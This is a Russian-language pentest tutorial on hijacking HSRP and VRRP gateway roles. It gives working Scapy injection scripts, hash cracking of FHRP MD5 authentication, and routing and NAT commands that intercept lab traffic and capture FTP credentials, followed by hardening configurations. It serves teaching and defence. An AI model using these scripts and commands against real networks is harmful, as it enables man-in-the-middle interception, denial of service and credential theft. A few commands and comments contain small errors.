June 11, 2022

Gateway Bleeding. Пентестим системы FHRP и перехватываем трафик в сети

Су­щес­тву­ет мно­жес­тво спо­собов повысить отка­зоус­той­чивость и надеж­ность в кор­поратив­ных сетях. Час­то для это­го при­меня­ются спе­циаль­ные про­токо­лы пер­вого перехо­да FHRP. Из этой статьи ты узна­ешь, как пен­тесте­ры работа­ют с FHRP во вре­мя атак на сеть.

ЗАЧЕМ НУЖЕН FHRP

FHRP (First Hop Redundancy Protocol) — это семей­ство про­токо­лов, обес­печива­ющих избы­точ­ность сетево­го шлю­за. Общая идея зак­люча­ется в том, что­бы объ­еди­нить нес­коль­ко физичес­ких мар­шру­тиза­торов в один логичес­кий с общим IP-адре­сом. Этот адрес вир­туаль­ного мар­шру­тиза­тора будет наз­начать­ся на интерфейс мар­шру­тиза­тора с гла­венс­тву­ющей ролью, а тот, в свою оче­редь, зай­мет­ся фор­вардин­гом тра­фика. Самые популяр­ные про­токо­лы клас­са FHRP — это HSRP и VRRP, о них мы сегод­ня и погово­рим.

Теория протокола HSRP

Про­токол HSRP (Hot Standby Router Protocol) — это один из про­токо­лов клас­са FHRP, поз­воля­ющих орга­низо­вать сис­тему отка­зоус­той­чивос­ти шлю­зов. Раз­работан инже­нера­ми Cisco Systems и работа­ет толь­ко на сетевом обо­рудо­вании Cisco. Про­токол реали­зован поверх сте­ка TCP/IP и исполь­зует в качес­тве тран­сля­ции слу­жеб­ной информа­ции про­токол UDP на пор­те 1985.

Суть кон­фигура­ции HSRP зак­люча­ется в том, что­бы объ­еди­нить мар­шру­тиза­торы в одну логичес­кую груп­пу HSRP-мар­шру­тиза­торов под спе­циаль­ным чис­ловым иден­тифика­тором. В самой груп­пе HSRP обра­зует­ся логичес­кий мар­шру­тиза­тор, который получит вир­туаль­ный IP-адрес. А тот, в свою оче­редь, будет наз­начать­ся как шлюз по умол­чанию для конеч­ных хос­тов.

Мар­шру­тиза­торы, на которых фун­кци­они­рует HSRP, для обме­на слу­жеб­ной информа­цией исполь­зуют так называ­емые Hello-пакеты. С их помощью устрой­ства обща­ются меж­ду собой, про­водят выборы и сооб­щают друг дру­гу о сво­ем сос­тоянии.

По умол­чанию активный мар­шру­тиза­тор каж­дые три секун­ды рас­сыла­ет Hello-сооб­щение, которое зву­чит как «Пар­ни, я еще в строю». Одна­ко если в течение десяти секунд Standby-мар­шру­тиза­тор не получа­ет ни одно­го Hello-сооб­щения от Active-мар­шру­тиза­тора, то он пос­чита­ет, что активный мар­шру­тиза­тор «упал», и возь­мет на себя его роль, исхо­дя из зна­чений при­ори­тета.

Версии протокола HSRP

У про­токо­ла HSRP есть две вер­сии — HSRPv1 и HSRPv2. Они отли­чают­ся сле­дующи­ми парамет­рами:

  • ко­личес­тво воз­можных логичес­ких групп. В HSRPv1 их может быть до 255. У HSRPv2 количес­тво групп может дос­тигать 4096;
  • IP-адрес муль­тикас­товой рас­сылки. HSRPv1 для тран­сля­ции слу­жеб­ной информа­ции исполь­зует IP-адрес 224.0.0.2, а HSRPv2 — 224.0.0.102;
  • вир­туаль­ный MAC-адрес. HSRPv1 в качес­тве вир­туаль­ного MAC-адре­са исполь­зует 00:00:0C:07:AC:XX. У HSRPv2 вир­туаль­ный MAC-адрес 00:00:0C:9F:FX:XX (где XX — это номер груп­пы HSRP).

Сущности в домене HSRP

В рам­ках груп­пы HSRP есть нес­коль­ко сущ­ностей:

  • HSRP Active Router — устрой­ство, игра­ющее роль вир­туаль­ного мар­шру­тиза­тора и обес­печива­ющее фор­вардинг тра­фика из сетей источни­ка до сетей наз­начения;
  • HSRP Standby Router — устрой­ство, игра­ющее роль резер­вно­го мар­шру­тиза­тора, которые ожи­дает отка­за активно­го мар­шру­тиза­тора. Пос­ле падения основно­го Active-роуте­ра Standby-роутер возь­мет на себя гла­венс­тву­ющую роль и будет занимать­ся обя­зан­ностя­ми Active-роуте­ра;
  • HSRP Group — груп­па устрой­ств — чле­нов одной HSRP-груп­пы, обес­печива­ют работу и отка­зоус­той­чивость логичес­кого мар­шру­тиза­тора;
  • HSRP MAC Address — вир­туаль­ный MAC-адрес логичес­кого мар­шру­тиза­тора в домене HSRP;
  • HSRP Virtual IP Address — это спе­циаль­ный вир­туаль­ный IP-адрес в груп­пе HSRP. Дан­ный IP-адрес будет шлю­зом по умол­чанию для конеч­ных хос­тов, исполь­зует­ся на самом логичес­ком мар­шру­тиза­торе.

Теория протокола VRRP

VRRP (Virtual Router Redundancy Protocol) — про­токол, раз­работан­ный в качес­тве более сво­бод­ной аль­тер­нативы про­токо­лу HSRP. Но пос­коль­ку он осно­ван на феноме­нах про­токо­ла HSRP, с его «откры­тостью и сво­бодой» есть некото­рые нюан­сы, так что пол­ностью сво­бод­ным его не наз­вать. VRRP поч­ти ничем не отли­чает­ся от HSRP, выпол­няет те же самые фун­кции, и в его домене абсо­лют­но те же сущ­ности, толь­ко называ­ются они ина­че.

В слу­чае HSRP объ­явле­ния генери­ровал не толь­ко Active-роутер, но и Standby-роутер. В слу­чае VRRP выпол­нять рас­сылку объ­явле­ний будет толь­ко Master-мар­шру­тиза­тор на зарезер­вирован­ный груп­повой адрес 224.0.0.18. По умол­чанию пакеты при­ветс­твия VRRP рас­сыла­ются каж­дую секун­ду.

Версии протокола VRRP

У про­токо­ла две вер­сии — VRRPv2 и VRRPv3.

  • У VRRPv3 есть под­дер­жка IPv6, VRRPv2 под­держи­вает­ся толь­ко для сетей IPv4.
  • У VRRPv3 отсутс­тву­ет под­дер­жка аутен­тифика­ции, у VRRPv2 име­ется целых три спо­соба аутен­тифика­ции.
  • VRRPv3 в качес­тве тай­мин­гов исполь­зует сан­тисекун­ды, VRRPv2 опе­риру­ет секун­дами.

Сущности в домене VRRP

  • VRRP Master Router — это активный мар­шру­тиза­тор, отве­чающий за переда­чу легитим­ного тра­фика в сети.
  • VRRP Backup Router — мар­шру­тиза­тор, находя­щий­ся в режиме ожи­дания. Как толь­ко текущий Master Router упа­дет, перех­ватит его роль и будет выпол­нять его фун­кции.
  • VRRP MAC Address — вир­туаль­ный MAC-адрес в груп­пе VRRP (00:00:5E:01:XX). Вмес­то XX — номер груп­пы VRRP.
  • VRRP VRID — иден­тифика­тор груп­пы VRRP, в рам­ках которой рас­положе­ны физичес­кие мар­шру­тиза­торы.
  • VRRP Virtual IP Address — спе­циаль­ный вир­туаль­ный IP-адрес в домене VRRP. Этот IP-адрес исполь­зует­ся в качес­тве шлю­за по умол­чанию для конеч­ных хос­тов.

Выбор главенствующего маршрутизатора

В рам­ках про­токо­лов FHRP выбор гла­венс­тву­ющей роли мар­шру­тиза­тора осно­выва­ется на зна­чении при­ори­тета. По умол­чанию в момент кон­фигура­ции на всех мар­шру­тиза­торах зна­чение экви­вален­тно 100 еди­ницам. Мак­сималь­ное же зна­чение при­ори­тета лежит в диапа­зоне от 1 до 255 (для VRRP этот диапа­зон сос­тавля­ет от 1 до 254).

Ес­ли адми­нис­тра­тор не позабо­тил­ся о руч­ной кон­фигура­ции зна­чения при­ори­тета на мар­шру­тиза­торах, глав­ным мар­шру­тиза­тором ста­нет тот, у которо­го наиболь­ший IP-адрес. Инже­нер с помощью кон­фигура­ции зна­чения при­ори­тета сам реша­ет, кто будет активным мар­шру­тиза­тором, а кто — резер­вным.

FHRP HIJACKING

Тех­ника этой сетевой ата­ки зак­люча­ется в том, что­бы навязать свое устрой­ство в качес­тве глав­ного мар­шру­тиза­тора с помощью инъ­екции HSRP- или VRRP-пакета с мак­сималь­ным зна­чени­ем при­ори­тета. Успешная экс­плу­ата­ция при­водит к MITM-ата­ке, в резуль­тате которой ты смо­жешь перех­ватить весь тра­фик внут­ри сети, про­вес­ти редирект или выз­вать DoS. Дос­таточ­но соб­рать HSRP- или VRRP-пакет с наивыс­шим зна­чени­ем при­ори­тета 255 и нап­равить его в сто­рону локаль­ной сети. Сог­ласись, не слиш­ком слож­но.

WARNING

Так как во вре­мя ата­ки на FHRP надо вза­имо­дей­ство­вать с легитим­ными мар­шру­тиза­тора­ми — шлю­зами по умол­чанию для конеч­ных хос­тов, необ­ходимо очень быс­тро выпол­нять все свои дей­ствия, начиная от инъ­екции и закан­чивая орга­низа­цией фор­вардин­га все­го тра­фика на сто­роне тво­ей машины. Если будешь мед­лить во вре­мя про­веде­ния ата­ки, конеч­ные хос­ты сло­вят DoS — твой заказ­чик такой сце­нарий не оце­нит.

Подготовка кастомной инъекции

Я написал инс­тру­мен­ты для атак на FHRP-про­токо­лы, добавив их в свой репози­торий GatewayBleeding. Всег­да луч­ше писать собс­твен­ные инс­тру­мен­ты, так ты понима­ешь весь про­цесс экс­плу­ата­ции с нуля, что очень важ­но. Кро­ме того, это будет выделять тебя на фоне осталь­ных Что­бы ты понимал прин­цип экс­плу­ата­ции, я раз­беру весь прог­рам­мный код скрип­тов HSRPWN.py и VRRPWN.py.

INFO

Инс­тру­мен­ты написа­ны на Python вер­сии 3.

HSRPWN.py

Для начала нам необ­ходимо импорти­ровать биб­лиоте­ку Scapy, а так­же модуль для работы с L2-про­токо­лами и про­токо­лом HSRP. Кро­ме того, под­клю­чим модуль argparse, что­бы сде­лать скрипт парамет­ризиро­ван­ным.

from scapy.all import *

from scapy.layers.l2 import *

from scapy.layers.hsrp import *

import argparse

В перемен­ную HSRPMulticastAddr запишем зна­чение IP-адре­са муль­тикас­товой рас­сылки HSRPv1.

HSRPMulticastAddr = "224.0.0.2"

Объ­явля­ем фун­кцию take_arguments. Она будет обра­баты­вать вве­ден­ные поль­зовате­лем вхо­дящие парамет­ры:

  • ин­терфейс, с которо­го будут отправ­лять­ся пакеты (перемен­ная interface);
  • но­мер груп­пы HSRP (перемен­ная group);
  • IP-адрес ата­кующе­го (перемен­ная attackerip);
  • вир­туаль­ный IP-адрес домена HSRP (перемен­ная vip);
  • ключ для аутен­тифика­ции (перемен­ная auth).

Пар­сить вве­ден­ные парамет­ры будет parser.parse_args(). Резуль­тат выпол­нения фун­кции запишет­ся в перемен­ную args.

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=True, help="Choose HSRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify HSRP Virtual IP address")

parser.add_argument("--auth", dest="auth", type=str, required=True, help="Enter the auth HSRP passphrase")

args = parser.parse_args()

return args

В фун­кции inject про­исхо­дит сбор­ка инъ­екции HSRP-пакета с наиболь­шим зна­чени­ем при­ори­тета 255. Зна­чения для перемен­ных внут­ри сло­ев пакетов извле­кают­ся из ука­зан­ных зна­чений аргу­мен­тов поль­зовате­лем args.*. При этом:

  • в перемен­ной L2frame собира­ется Ethernet-фрейм;
  • в перемен­ной L3packet собира­ется сетевой пакет с IP-адре­сом источни­ка и IP-адре­сом наз­начения. TTL будет равен 1. Если отпра­вишь пакет не с этим TTL — мар­шру­тиза­торы отбро­сят его;
  • в перемен­ной UDP_layer соз­дает­ся UDP-слой с пор­том источни­ка 1985 и пор­том наз­начения 1985;
  • в перемен­ной evil_hsrp соз­дает­ся вре­донос­ный HSRP-пакет со зна­чени­ем при­ори­тета 255, номером груп­пы HSRP, зна­чени­ем вир­туаль­ного IP-адре­са и клю­чом аутен­тифика­ции;
  • в перемен­ной crafted собира­ется сам пакет с кад­ром, сетевым IP-пакетом, сло­ем UDP и самим про­токо­лом HSRP.

def inject(interface, group, attackerip, vip, auth):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)

UDP_layer = UDP(sport=1985, dport=1985)

evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.vip, auth=args.auth)

crafted = L2frame / L3packet / UDP_layer / evil_hsrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

Да­лее с помощью метода sendp соб­ранный пакет через каж­дые три секун­ды отправ­ляет­ся с ука­зан­ного поль­зовате­лем интерфей­са. Работу скрип­та ни в коем слу­чае нель­зя прек­ращать: если он упа­дет, пакеты перес­танут рас­сылать­ся, легитим­ные мар­шру­тиза­торы приз­нают наше устрой­ство «погиб­шим» и перес­тро­ят свои роли в домене.

В кон­це скрип­та вызыва­ем фун­кции take_arguments и inject.

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip, args.auth)

VRRPWN.py

Здесь поч­ти все то же самое, что и с HSRPWN.py, но име­ются и некото­рые отли­чия.

Им­порти­руем модуль для работы с про­токо­лом VRRP:

from scapy.layers.vrrp import *

В перемен­ной VRRPMulticastAddr ука­зыва­ется IP-адрес муль­тикас­товой рас­сылки 224.0.0.18:

VRRPMulticastAddr = "224.0.0.18"

Фун­кция take_arguments будет обра­баты­вать вве­ден­ные поль­зовате­лем вхо­дящие парамет­ры:

  • ин­терфейс, с которо­го будут отправ­лять­ся пакеты (перемен­ная interface);
  • но­мер груп­пы HSRP (перемен­ная group);
  • IP-адрес ата­кующе­го (перемен­ная attackerip);
  • вир­туаль­ный IP-адрес домена HSRP (перемен­ная vip).

def take_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")

parser.add_argument("--group", dest="group", type=int, required=True, help="Choose VRRP group ID value")

parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")

parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify VRRP Virtual IP address")

args = parser.parse_args()

return args

Что тут про­исхо­дит:

  • В L2frame собира­ется Ethernet-фрейм.
  • В L3packet собира­ется IP-пакет с IP-адре­сом источни­ка и IP-адре­сом наз­начения. TTL будет равен 255. Если отпра­вишь пакет не с этим TTL — мар­шру­тиза­торы отбро­сят его.
  • В evil_vrrp соз­дает­ся вре­донос­ный VRRP-пакет со зна­чени­ем при­ори­тета 255, номером груп­пы VRRP и зна­чени­ем вир­туаль­ного IP-адре­са.
  • В crafted собира­ется сам пакет с кад­ром, сетевым IP-пакетом и самим про­токо­лом VRRP.

def inject(interface, group, attackerip, vip):

L2frame = Ether()

L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255)

evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip)

crafted = L2frame / L3packet / evil_vrrp

sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

INFO

В дан­ном скрип­те нет слоя про­токо­лов тран­спортно­го уров­ня. VRRP работа­ет исклю­читель­но на сетевом уров­не и не реали­зован поверх сте­ка про­токо­лов TCP/IP.

В кон­це скрип­та вызыва­ем фун­кции take_arguments и inject:

args = take_arguments()

inject(args.interface, args.group, args.attackerip, args.vip)

Виртуальная лаборатория

Что­бы показать экс­плу­ата­цию на прак­тике, я под­готовил неболь­шой лабора­тор­ный стенд.

Здесь: - Dustup — это FTP-сер­вер; - Kali выс­тупа­ет в качес­тве ата­кующей машины; - Radiant — кли­ент­ская машина с Windows 10 LTSC; - SW2 и SW4 — ком­мутато­ры Cisco vIOS; - R1 и R2 — мар­шру­тиза­торы Cisco vIOS.Домен HSRP

Мы будем исполь­зовать вер­сию HSRPv1.

Домен VRRP

На этом стен­де исполь­зует­ся вер­сия VRRPv2.

Взлом MD5-аутентификации

Дос­туп к доменам FHRP может быть защищен аутен­тифика­цией. В боль­шинс­тве слу­чаев исполь­зует­ся MD5-аутен­тифика­ция. Я покажу, как мож­но сбру­тить пароль, при этом получив хеш из дам­па сетево­го тра­фика.

Сох­раня­ем дамп тра­фика в файл hsrp_encrypted.pcap. Далее исполь­зуем ути­литу pcap2john и пода­ем ей на вход дамп тра­фика HSRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Ко­пиру­ем хеши в отдель­ный файл hsrp_md5_hashes.txt и с помощью John The Ripper начина­ем переби­рать пароли, ука­зав сло­варь через параметр --wordlist. JTR сам опре­делит тип хеша, находя­щий­ся в фай­ле.

necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Па­роль от домена HSRP — admin. Теперь раз­берем такой же кейс с доменом VRRP.

Сох­раня­ем дамп в файл vrrp_encrypted.pcap. Далее исполь­зуем ути­литу pcap2john и пода­ем ей на вход дамп тра­фика VRRP с хешами.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap

Ко­пиру­ем хеши в отдель­ный файл vrrp_md5_hashes.txt и с помощью John The Ripper начина­ем переби­рать пароли, ука­зав сло­варь через параметр --wordlist. Как и в прош­лом слу­чае, тип хеша опре­деля­ется авто­мати­чес­ки.

necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Па­роль от VRRP-домена — cerberus.

АТАКА НА HSRP И ПЕРЕХВАТ ТРАФИКА

Не­обхо­димо в пер­вую оче­редь перевес­ти сетевой интерфейс в нераз­борчи­вый режим и раз­решить фор­вардинг на машине:

necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc

necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

За­пус­каем скрипт HSRPWN.py, ука­зыва­ем интерфейс, IP-адрес ата­кующе­го, вир­туаль­ный IP-адрес, номер груп­пы и ключ аутен­тифика­ции.

necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254 --auth cisco

Кон­фигура­ция HSRP на мар­шру­тиза­торах R1 и R2 до выпол­нения инъ­екции:

R1# show standby brief

P indicates configured to preempt.

|

Interface Grp Pri P State Active Standby Virtual IP

Gi0/0 1 150 Active local 10.1.1.200 10.1.1.254

R2# show standby brief

P indicates configured to preempt.

|

Interface Grp Pri P State Active Standby Virtual IP

Gi0/0 1 100 Standby 10.1.1.100 local 10.1.1.254

А вот поведе­ние кон­фигура­ции HSRP на мар­шру­тиза­торах R1 и R2 пос­ле выпол­нения инъ­екции:

R1# show standby brief

P indicates configured to preempt.

|

Interface Grp Pri P State Active Standby Virtual IP

Gi0/0 1 150 Standby 10.1.1.2 local 10.1.1.254

R2# show standby brief

P indicates configured to preempt.

|

Interface Grp Pri P State Active Standby Virtual IP

Gi0/0 1 100 Listen 10.1.1.2 10.1.1.100 10.1.1.254

Как видишь, мар­шру­тиза­торы R1 и R2 изме­нили свои роли. Теперь они приз­нают хост с IP-адре­сом 10.1.1.2 как Active-роутер.

На этом эта­пе нуж­но соз­дать вто­рич­ный IP-адрес на интерфей­се eth0 с ука­зани­ем вир­туаль­ного IP-адре­са груп­пы HSRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0

Да­лее необ­ходимо уда­лить все мар­шру­ты на тво­ей машине и соз­дать единс­твен­ный, который будет про­ходить через один из легитим­ных мар­шру­тиза­торов. В качес­тве сле­дующе­го шлю­за мож­но ука­зать IP-адрес одно­го из мар­шру­тиза­торов R1 или R2. Даже нес­мотря на то, что мы у него «отжа­ли» роль Active-роуте­ра, он все рав­но смо­жет выпол­нять мар­шру­тиза­цию и нап­равить тра­фик до хос­та либо сети наз­начения. Про­пишем все же мар­шрут через IP-адрес мар­шру­тиза­тора R1 — 10.1.1.100:

necreas1ng@Mercy:~$ sudo del default gw

necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0

necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0

Сей­час ты видишь толь­ко исхо­дящий тра­фик. Было бы неп­лохо получить так­же и вхо­дящий. Неболь­шое пра­вило для NAT решит эту задачу.

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Пос­ле ата­ки я поп­робую с машины под име­нем Radiant под­клю­чить­ся к FTP-сер­веру под име­нем Dustup. Пос­мотрим, увен­чалась ли ата­ка успе­хом.

C:\Users\radiant>ftp 172.20.20.50

В конеч­ном сче­те мы смог­ли перех­ватить легитим­ный тра­фик. Даже добыли кре­ды от FTP-сер­вера mercy:i_dont_trust_you.

INFO

В этом кей­се ты перех­ватыва­ешь абсо­лют­но весь тра­фик внут­ри сети, а под­клю­чение к FTP-сер­веру будет слу­жить при­мером, что­бы показать импакт от ата­ки.

АТАКА НА VRRP И ПЕРЕХВАТ ТРАФИКА

За­пус­каем скрипт VRRPWN.py:

necreas1ng@Mercy:~$ sudo python3 VRRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254

Ты можешь заметить, что толь­ко 10.1.1.2 рас­сыла­ет объ­явле­ния. Это говорит о том, что мы ста­ли Master-роуте­ром.

Вот поведе­ние VRRP на мар­шру­тиза­торах R1 и R2 до инъ­екции:

R1# show vrrp brief

Interface Grp Pri Time Own Pre State Master addr Group addr

Gi0/0 1 150 3414 Y Master 10.1.1.100 10.1.1.254

R2# show vrrp brief

Interface Grp Pri Time Own Pre State Master addr Group addr

Gi0/0 1 100 3609 Y Backup 10.1.1.100 10.1.1.254

А вот поведе­ние VRRP на мар­шру­тиза­торах R1 и R2 пос­ле инъ­екции:

R1# show vrrp brief

Interface Grp Pri Time Own Pre State Master addr Group addr

Gi0/0 1 150 3414 Y Backup 10.1.1.2 10.1.1.254

R2# show vrrp brief

Interface Grp Pri Time Own Pre State Master addr Group addr

Gi0/0 1 100 3609 Y Backup 10.1.1.2 10.1.1.254

Мар­шру­тиза­торы R1 и R2 изме­нили свои роли. Теперь они приз­нают хост с IP-адре­сом 10.1.1.2 как Master-роутер.

За­тем нуж­но соз­дать вто­рич­ный IP-адрес на интерфей­се eth0 с ука­зани­ем вир­туаль­ного IP-адре­са груп­пы VRRP:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0

Да­лее уда­ляем все мар­шру­ты на машине и соз­даем единс­твен­ный через роутер R1:

necreas1ng@Mercy:~$ sudo del default gw

necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0

necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0

И напос­ледок пра­вило для SNAT:

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Пос­ле ата­ки я поп­робую под­клю­чить­ся с машины под име­нем Radiant к FTP-сер­веру под име­нем Dustup.

В ито­ге получил­ся тот же сце­нарий: мы видим абсо­лют­но весь тра­фик, но в рам­ках дан­ного кей­са меня инте­ресо­вал толь­ко FTP-тра­фик. Перех­вачен­ные кре­ды — betrayal:punish_you.

ПРЕВЕНТИВНЫЕ МЕРЫ

Приоритет 255

Из сооб­ражений безопас­ности рекомен­дует­ся на Master- или Active-мар­шру­тиза­торе выс­тавить мак­сималь­ный при­ори­тет. В таком слу­чае, если зло­умыш­ленник отпра­вит вре­донос­ный пакет с при­ори­тетом 255, у него не вый­дет стать «глав­ным», пос­коль­ку таковой уже име­ется.

INFO

В этой статье я ори­енти­руюсь на прин­ципы и коман­ды Cisco IOS CLI.

Кон­фигура­ция для HSRP, груп­па 1:

R1(config)# int g0/0

R1(config-if)# standby 1 priority 255

Кон­фигура­ция для VRRP, груп­па 1:

R1(config)# int g0/0

R1(config-if)# vrrp 1 priority 254

Аутентификация

Ес­ли ты соб­рался защищать домен FHRP с помощью пароль­ной аутен­тифика­ции, обя­затель­но позаботь­ся о стой­кос­ти пароля, что­бы его не сбру­тили. Как ты видел, хеш в откры­том виде переда­ется по сети, поэто­му у зло­умыш­ленни­ка име­ются шан­сы переб­рать пароль.

Кон­фигура­ция MD5-аутен­тифика­ции для HSRP, груп­па 1:

R1(config-if)#standby 1 authentication md5 key-string all_h3re_f0r_y0u

Кон­фигура­ция MD5-аутен­тифика­ции для VRRP, груп­па 1:

R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u

Кста­ти говоря, обо­рудо­вание Cisco может пох­вастать­ся наличи­ем keychain-аутен­тифика­ции. В таком слу­чае кон­фигури­руют­ся два клю­ча и даже мож­но нас­тро­ить интерва­лы вре­мени, ког­да будет при­нимать­ся и отправ­лять­ся ключ. Такой под­ход в зна­читель­ной сте­пени усложня­ет жизнь зло­умыш­ленни­ку, пос­коль­ку ему при­дет­ся не толь­ко бру­тить пароль, но и уга­дать пос­ледова­тель­ность клю­чей и под­ходящий для их переда­чи про­межу­ток вре­мени.

Ни­же я при­вожу при­мер кон­фигура­ции keychain в отно­шении мар­шру­тиза­тора R1 для HSRP, для VRRP она тоже подой­дет. Такую же кон­фигура­цию сле­дует нас­тро­ить на осталь­ных мар­шру­тиза­торах в рам­ках одно­го домена.

R1#conf t # Входим в режим глобальной конфигурации

R1(config)# key chain SecureFHRP # Создаем keychain-цепочку под названием SecureFHRP

R1(config-keychain)# key 1 # Создаем первый ключ

R1(config-keychain-key)# key-string gu1d1ng_l1ght # Указываем пароль

R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа

R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу

R1(config-keychain)# key 2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ

R1(config-keychain-key)# key-string l0g1c_b0mb # Указываем пароль

R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет принимать ключ от соседа

R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Указываем промежуток времени, в течение которого маршрутизатор будет отправлять ключ соседу

R1(config)# interface GigabitEthernet 0/1 # Входим в режим конфигурации интерфейса

R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP # Включаем MD5-аутентификацию с использованием keychain для группы HSRP 1

Ограничение трафика HSRP

HSRP исполь­зует про­токол тран­спортно­го уров­ня UDP для при­ема и переда­чи слу­жеб­ных объ­явле­ний. С помощью нас­трой­ки ACL (Access List Control) мы можем огра­ничить тра­фик UDP по пор­там источни­ка и наз­начения 1985. Если зло­умыш­ленник будет про­водить инъ­екцию HSRP-пакетов, эти пакеты будут отбро­шены механиз­мом ACL.

При­мер кон­фигура­ции рас­ширен­ного ACL для безопас­ности HSRPv1:

R1(config)# ip access-list extended DropHSRP # Создаем расширенный ACL с названием DropHSRP

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985

R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP

R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса

R1(config-if)# ip access-group DropHSRP in # Привязываем настроенный ACL к интерфейсу на IN

Рас­ширен­ный ACL для вер­сии HSRPv2:

R1(config)# ip access-list extended DropHSRPv2 # Создаем расширенный ACL с названием DropHSRP

R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.102 eq 1985 # Разрешаем UDP-трафик в отношении сети 10.1.1.0 по обратной 30-битной маске, по портам 1985 и по мультикастовому IP-адресу 224.0.0.2

R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Далее запрещаем UDP-трафик по портам 1985

R1(config-ext-nacl)# permit ip any any # Разрешаем остальной трафик по IP

R1(config)# interface GigabitEthernet0/0 # Входим в режим конфигурации интерфейса

R1(config-if)# ip access-group DropHSRPv2 in # Привязываем настроенный ACL к интерфейсу на IN

INFO

Во вре­мя нас­трой­ки ACL исполь­зуют­ся обратные мас­ки (Wild Card masks).

ЗАКЛЮЧЕНИЕ

Про­токо­лы клас­са FHRP помога­ют орга­низо­вать сис­тему горяче­го резер­вирова­ния шлю­зов. Такие сис­темы широко рас­простра­нены в рам­ках рас­смот­ренно­го нами кей­са. Но теперь ты зна­ешь, что может про­изой­ти с сетью, если инже­нер не позабо­тил­ся о безопас­ности кон­фигура­ции самих FHRP-про­токо­лов.

Кста­ти говоря, FHRP Hijacking может слу­жить аль­тер­нативой ARP-спу­фин­гу. В сетях AD откры­вают­ся все воз­можнос­ти для Relay-атак и сбо­ра информа­ции, так­же мож­но реали­зовать фишин­говые ата­ки и мно­гое дру­гое. Эта статья под­ска­жет новые век­торы атак для пен­тесте­ров, а сетевые адми­нис­тра­торы обза­ведут­ся новыми кей­сами, что­бы повысить безопас­ность сво­ей сети.